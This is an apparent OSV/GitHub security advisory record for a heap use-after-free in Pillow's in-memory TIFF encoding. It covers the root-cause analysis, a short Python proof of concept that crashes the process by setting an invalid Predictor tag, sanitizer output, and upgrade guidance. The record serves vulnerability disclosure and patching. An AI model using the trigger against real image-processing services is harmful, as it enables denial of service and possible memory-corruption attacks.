{"id":"CVE-2026-112396","aliases":["GHSA-4rr5-89j8-mwwm","BIT-pillow-2026-112396","PYSEC-2026-4328"],"title":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","summary":"Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer","severity":"medium","cvss":5.9,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"pillow","product":"pillow","ecosystem":"pip","affected":["pillow >= 11.3.0, < 13.0.0"],"patched":["pillow 13.0.0"],"published":"2026-10-21","updated":"2026-10-27","sourceUpdated":"2026-10-27T11:10:49.694224501Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-4rr5-89j8-mwwm","references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112396"},{"url":"https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb"},{"url":"https://github.com/python-pillow/Pillow"},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"url":"https://github.com/advisories/GHSA-4rr5-89j8-mwwm"}],"tags":["osv","pip","ghsa","cve.org"],"epss":0.00694,"epssPercentile":0.52754,"ssvc":{"exploitation":"none","automatable":"no","technicalImpact":"partial","timestamp":"2026-10-20T15:10:26.056158Z"},"cwe":["CWE-416"],"ingestedAt":"2026-10-19T21:43:56.136Z","slug":"CVE-2026-112396","body":"## Overview\n\n### Summary\nSaving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.\n\n### Details\nThe failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):\n\n- `src/libImaging/TiffDecode.c:1041-1046`\n\nTeardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:\n\n- `src/encode.c:99-101`\n- `src/libImaging/TiffDecode.c:955`\n\n`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:\n\n- `src/libImaging/TiffDecode.c:103-115`\n\nThe Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.\n\n### PoC\n```python\nimport io\nfrom PIL import Image\n\n# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer\n# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the\n# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.\nim = Image.new(\"L\", (64, 64))\nbuf = io.BytesIO()\nim.save(buf, format=\"TIFF\", compression=\"tiff_lzw\", tiffinfo={317: 3})  # 317 = Predictor\n```\n\nRun it:\n```\n$ python 01_poc.py\nPredictorSetup: Floating point \"Predictor\" not supported with 1 data format.\nOSError: encoder error -2 when writing image file\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.\n\nUnder AddressSanitizer (build with `-fsanitize=address`), relevant frames:\n```\n==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804\nWRITE of size 4 at 0x7ef737b48804 thread T0\n    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115\n    #3 TIFFFlush                      libtiff.so.6\n    #5 TIFFClose                      libtiff.so.6\n    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955\n    #7 _dealloc                       src/encode.c:100\nfreed by thread T0 here:\n    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045\n    #2 _encode                        src/encode.c:139\npreviously allocated by thread T0 here:\n    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863\n    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757\nSUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc\n```\nThe buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.\n\n### Impact\nUse-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.\n\n## Affected packages\n\n- `pillow >= 11.3.0, < 13.0.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pillow 13.0.0`","depth":"sunlit","depthScore":33,"depthScoreParts":{"impact":32.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}